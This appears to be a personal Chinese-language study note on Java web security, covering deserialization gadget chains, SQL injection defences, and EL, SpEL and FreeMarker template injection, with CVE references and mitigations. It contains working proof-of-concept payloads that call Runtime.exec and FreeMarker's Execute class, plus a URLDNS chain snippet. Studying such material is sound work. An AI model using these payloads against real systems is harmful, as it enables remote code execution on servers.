漏洞介绍

序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。

Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,类ObjectlnputStream类的readobject()方法用于反序列化。

基础知识

反序列化入门

https://blog.csdn.net/weixin_45808483/article/details/122545168

https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.788.video.desc.click&vd_source=46ee6094905cc129c486ece81308d827

被transient修饰过的变量不能被序列化,因为serialization是吧对象的状态存储到硬盘上,而有些敏感信息,例如银行卡号,是不希望在网络上传输的,transient的作用就是,吧这个变量的生命周期只存在内存中,而不会写到磁盘持久化

Externalizable接口

需要重写writeExternal和readExternal方法,它的效率比Serializable高一些,并且可以决定哪些属性需要序列化(即使是transient修饰的),但是对大量对象,或者重复对象,则效率低

java中自带序列化的类 , map hashmap ,hashmap是重写writeobject和readobject方法的,

序列化是为了让序列化之前和反序列化之后的数据一样,hashmap中,entry的存放位置是key的hash值来计算,然后存放到数组中的,对于同一个key,在不同的jvm中计算出来的hash值可能是不同的,所以需要hashmap重写writeobject和readobject方法

yeoserial构造复杂反序列化链

https://www.bilibili.com/video/BV115411K7MX/?spm_id_from=333.337.search-card.all.click&vd_source=46ee6094905cc129c486ece81308d827

javaEE的核心技术有:JDBC、JNDI、RMI、EJB、Servlet、JSP、XML、JMS、Java IDL、JTS、JTA、JavaMail 和 JAF

MVC的工作流程:Controller 层接收用户的请求,并决定应该调用哪个 Model 来进行处理;然后,由 Model 使用逻辑处理用户的请求并返回数
据;最后,返回的数据通过 View 层呈现给用户

动态代理

通过动态代理可以实现多个需求,

静态代理不易于项目维护,会造成冗余,

动态代理是通过实现接口的方式来实现代理,通过proxy类创建代理对象,然后将接口方法’代理‘给InvocationHandler接口完成的(实现InvocationHandler需要重写 invoke方法)

public interface IUser {
void show();
}

public class UserImpl implements IUser {
public UserImpl() {

}

@Override
public void show() {
System.out.println("展示");
}
}

public class UserInvocationHandler implements InvocationHandler {
IUser user;

public UserInvocationHandler(IUser user) {
this.user = user;
}
public UserInvocationHandler() {

}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
method.invoke(user, args);
return null;
}
}

public class proxy {
public static void main(String[] args) {

IUser user = new UserImpl();

UserInvocationHandler userInvocationHandler = new UserInvocationHandler(user);
IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userInvocationHandler);
userProxy.show();
}

CGLib

动态代理基于反射机制实现的,必须实现接口的业务类才能使用这种办法生成代理对象,只能基于接口设计,对于没有接口的情况,JDK方式无法解决,而CGLib采用非常底层的字节码技术,性能也表现不错

一个第三方代码生成类库,基于asm机制实现的,通过实现生成业务类的子类作为代理类

javassist动态编程

静态编程的类型检查是在编译时完成的,对于动态编程来说,类型检查是在运行时完成的 ,因此所谓的动态编程就是绕过编译过程在运行时进行操作的技术

类加载

类加载会执行代码

初始化:静态代码块

实例化:构造代码块,无参构造函数

2.动态类加载方法

Class.forName(“类”) 这个会有初始化操作,静态代码块执行

getSystemClassLoader()不会执行静态代码块

Class.forName(“类”,false,ClassLoader.getSystemClassLoader()) 这样就不会初始化

ClassLoader.loadClass不进行初始化

类加载的几种方式

.class

getclass()

ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader

loadClass->findClass(重写方法)->defineClass(字节码加载类)

URLClassLoader 任意类加载 file/http/jar jar:http://localhost:9999/Helllo.jar

defineClass字节码加载任意类 私有

Unsafe.defineClass字节码加载public类不能直接生成 spring 里面可以直接生成

反射

loadClass()方法只对类进行加载,不会对类进行初始化。Class.forName 会默认对
类进行初始化(初始化就是静态代码块会执行)

        Person person = new Person();
Class c = person.getClass();

//从原型class实例化对象
Constructor personconstructor = c.getConstructor(String.class, int.class);
Person p = (Person) personconstructor.newInstance("abc", 22);
System.out.println(p);
//获取类里面的属性
//getFields不能打印private
// Field[] personfields = c.getDeclaredFields();
// for (Field f : personfields) {
// System.out.println(f);
// }

Field namefield = c.getDeclaredField("age");
namefield.setAccessible(true);
namefield.set(p,25);
System.out.println(p);
// 调用类里面的方法
// Method[] personmethods = c.getMethods();
// for (Method m : personmethods) {
// System.out.println(m);
// }
Method actionmethod = c.getDeclaredMethod("action",String.class);
actionmethod.setAccessible(true);
actionmethod.invoke(p,"asdasd");

URLDNS链

吧url放到hashmap里边,hashMap的hashCode函数可以反序列化

image-20230716160846520

1.hashmap接受参数O

2.目标类B URL

3.调用B.hashcode

4.hashmap.readObject –>O.hashcode

HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
// 这里不要发起请求,吧url对象的hashcode改成不是-1
URL url = new URL("http://tp12s4.dnslog.cn");
Class c = url.getClass();
Field hashCodefield = c.getDeclaredField("hashCode");
hashCodefield.setAccessible(true);
// 这里吧url对象的hashcodde改成1234
hashCodefield.set(url, 1234);
hashmap.put(url, 1);
//这里吧hashcode改回-1
//通过反射,改变已有对象的属性
// hashCodefield.set(url,-1);
serialize(hashmap);

分析反序列化

在反序列化漏洞中的应用

​ 定制需要的对象

​ 通过invoke调用除了同名函数以外的函数

​ 通过class类创建对象,引入不能序列化的类

​ runtime.class

java反序列化漏洞

关于防御

Hibernate 反序列化链

https://mp.weixin.qq.com/s/mJfUKEHAB08xwBC-CtC31w

CommonsCollections链1

jdk版本8u65 8u71开始就修复了

原理:接收任意对象,执行readobject方法

流程:

1.A.readobject,调用了O.aaa

2.修改O.aaa,调用O2.xxx

3.一直往后推,直到一个危险方法,

4.用Runtime.getRuntime.exec()执行

可以用不同类的同名函数,或者任意方法调用(比如说反射,动态加载字节码)

配置

jdk8u65

https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

open

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

解压,/src/share/classes/sun目录放到jdk8u65里面的src

maven

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

所有的 都可以序列化,重写readobject,接收任意对象作为参数

CommonsCollections链6

jdk版本通用, cc版本通用

CommonsCollections链3

3,2,4都是动态类加载, 代码执行

回顾类加载

注入

SQL注入

参数化查询,预编译

mybatis

#和$的区别,MyBatis 中使用 parameterType 向 SQL 语句传参,在 SQL 引用传参可以使用
#{Parameter}和${Parameter}两种方式。

#会用?传参, $会用单引号拼接传参,导致注入产生

Hibernate 框架

Hibernate 是对持久化类的对象进行操作而不是直接对数据库进行操作,因此 HQL 查询语句由 Hibernate 引擎进行解析,这意味着产生的错误信息可能来自数据库,也可能来自 Hibernate 引擎

避免注入的几种参数绑定方式

位置参数()

String parameter = "z1ng";
Query<User> query = session.createQuery("from com.z1ng.bean.Userwhere name
= ?1", User.class);
query.setParameter(1, parameter);

命名参数()

Query<User> query = session.createQuery("from com.z1ng.bean.Userwhere name
= ?1", User.class);String parameter = "z1ng";
Query<User> query = session.createQuery("from com.z1ng.bean.Userwhere name
= :name", User.class);
query.setParameter("name", parameter);

命名参数列表()

List<String> names = Arrays.asList("z1ng", "z2ng");
Query<User> query = session.createQuery("from com.z1ng.bean.User where name in
(:names)", User.class);
query.setParameter("names", names);

类实例(JavaBean)

user1.setName("z1ng");
Query<User> query = session.createQuery("from com.z1ng.bean.User where name
=:name", User.class);
query.setProperties(user1);

hibernate支持原生的SQL语句,应采用参数绑定的方式构造语句

命令注入

代码注入

与命令注入相比,代码注入更具有灵活性,例如在cc链中,反序列化直接用runtime.getruntime().exec()执行系统命令是没有回显的,一种思路是通过URLloader远程加载类文件以及异常处理机制构造出可以回显的利用方式,具体步骤如下:

首先构造一个恶意代码类,编译成jar包放置在远程服务器上,然后利用cc链反序列化漏洞可以注入任意代码的特点,构造poc,可以发现系统执行了whoami命令

image-20230718100605797

表达式注入

最早出现于2012年12月的一篇论文中,文中详细阐述的表达式注入产生的原因和危害,例如struts的OGNL表达式引起的远程代码执行

EL表达式基础

主要功能:

  • 获取数据:可以从jsp的四大作用域(page,request,session,application)中获取数据

  • 执行运算:在jsp页面执行一些简单的逻辑运算,关系运算,算术运算

  • 获取web开发常用对象:EL表达式内置了11个隐式对象,开发者可以通过这类隐式对象,获得想要的数据

  • 调用java方法:EL表达式允许用户开发自定义EL函数,以及在jsp页面通过el表达式调用java类的方法

    image-20230718104846464

image-20230718104858646

EL基础语法

在 JSP 中,用户可以使用${}来表示此处为 EL 表达式,例如,表达式${ name }表示获取name变量。当 EL 表达式未指定作用域范围时,默认在 page 作用域范围查找,而后依次在 request、session、application 范围查找,也可以使用作用域作为前缀找,表达式${ requestScope.name}表示在 request 作用域范围中获取“name”变量

获取对象属性的两种方式

  • 第一种格式为${对象.属性},例如:${param.name}

  • 第二种为使用“[]”符号,例如:${param[name]}

当属性名中存在特殊字符或者属性名是一个变量时,则需要使用[]符号的方式获取属性,例如:${User[“Login-Flag”]}和${User[data]}

案例
<%@ page contentType="text/html;charset=UTF-8" language="Java" %>
<html>
<head>
<title>EL 表达式实例页面</title>
</head>
<body>
<center>
<h3> 输入的 name 值为:${param.name}</h3>
</center>
</body>
</html>

url访问index.jsp?name=zhhhy时,

image-20230718105831460

也可以实例化java的内置类,如runtime.class

<%@ page contentType="text/html;charset=UTF-8" language="Java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>
${Runtime.getRuntime().exec("calc")}
</body>
</html>

image-20230718105942751

cve-2011-2730 spring 标签EL表达式漏洞

漏洞成因是 Spring 的 message 标签能够解析执行 EL 表达式,而 Web 容器也会对 EL
表达式进行一次解析,两次解析使 EL 表达式注入得以利用

​ Spring 表达式语言(SpEL)是一种与 EL 功能类似的表达式语言,可以独立于spring容器使用,

​ 在spel中EvaluationContext是用于评估表达式和解析属性、方法以及字段并帮助执行类型转换的接口,这个接口有两种实现SimpleEvaluationContextStandardEvaluationContext默认是用StandardEvaluationContext对表达式进行评估

  • SimpleEvaluationContext,针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开spel语言特性和配置选项的子集
  • StandardEvaluationContext,针对全套SpEL语言功能和配置选项,用户可以使用它来指定默认的根对象并配置每个可用的评估相关策略

​ 当使用StandardEvaluationContext进行上下文评估时,由于StandardEvaluationContext权限过大,可以执行java任意代码,例如利用runtime执行来弹出一个计算器

String expressionstr = "T(Runtime).getRuntime().exec(\"calc\")";
//一个解析器
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression expression = parser.parseExpression(expressionstr);
System.out.println(expression.getValue(evaluationContext));

image-20230718111401476

cve-2018-1273 spring datacommons 远程代码执行漏洞

攻击者可以构造含有恶意代码的 SpEL 表达式实现远程代码执行,接管服务器权限

官方发布的修复补丁中,可以清晰的看到使用了SimpleEvaluationContext代替了StandardEvaluationContext

image-20230718112106689

模板注入

web中广泛使用模板引擎来进行页面的定制化呈现,用户可以通过模板定制化展示符合自身特征的页面,模板引擎支持的页面定制展示的同时也带来了一定的安全风险

freemarker模板基础

freemarker模板文件和html一样是静态页面,freemarker引擎解析并动态替换模板中的内容进行渲染,随后将渲染出的结果发送到访问者的浏览器中,

freemarker模板语言有四个部分组成,

  • 文本:文本会原样输出
  • 插值:这部分的输出会被模板引擎计算的值进行替换
  • FTL标签:和HTML类似,他是给freemarker提示,不会打印在输出内容中
  • 注释:和HTML一样
new函数的利用

new函数可以创建继承自freemarker.template.TemplateModel的实例,查看源码会发现freemarker.template.utility.Execute#exec可以执行任意代码,因此可以通过new函数实例化一个execute对象并执行一个exec()方法造成任意代码执行

payload代码如下:

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.
exe")}

通过阅读代码发现freemarker.template.utility包中有几个类都可以被利用来执行恶意代码

image-20230718131713569

api函数的利用

api函数可以用来访问java api 使用方法为value?api.somejavamethod(),相当于value.somejavamethod(),因此可以利用api函数通过getclassloader来获取一个类加载器,进而加载恶意类,也可以通过getresource来读取服务器上的资源文件

<#assign classLoader=object?api.class.getClassLoader()>
${classLoader.loadClass(“Evil.class”)}

OFCMS1.1.2版本注入漏洞

ofcms是java版的cms系统,fcms1.1.3之前的版本,

OFCMS使用freemarker作为模板引擎,然而开发者未对网站后台的模拟文件功能处的所存储的模板数据进行过滤,导致攻击者可以使用freemarker模板注入的方式获取webshell

漏洞定位

该漏洞出现的文件路径为oufu-ofcms-V1.1.2\ofcms\ofcms-admin\src\main\Java\com\ ofsoft\cms\admin\controller\cms\TemplateController.Java,通过在TemplateController类的save方法设置断点可以发现,save方法未对存入模板的数据进行充足的过滤,攻击者可以将可执行系统命令的恶意代码存入freemarker模板

防御

官方针对new和api的两种利用方式发布了一些策略,从版本2.3.22开始,api_builtin_enabled的默认值为false,这意味着api内建函数在此之后不能随意使用。

官方还提供了3个预定义函数的解析器来限制new函数对类的访问

  • UNRESTRICTED_RESOLVER:简单地调用 ClassUtil.forName(String)。
  • SAFER_RESOLVER:与第一个类似,但禁止解析 ObjectConstructor、Execute和 freemarker.template.utility.JythonRuntime。
  • ALLOWS_NOTHING_RESOLVER:禁止解析任何类

官方手册中也表明了应当限制普通用户可以上传和限制模板文件的权限,OFCMS1.1.2版本的注入漏洞正是可编辑模板文件造成的任意代码执行

失效的身份认证

jwt token猜解实验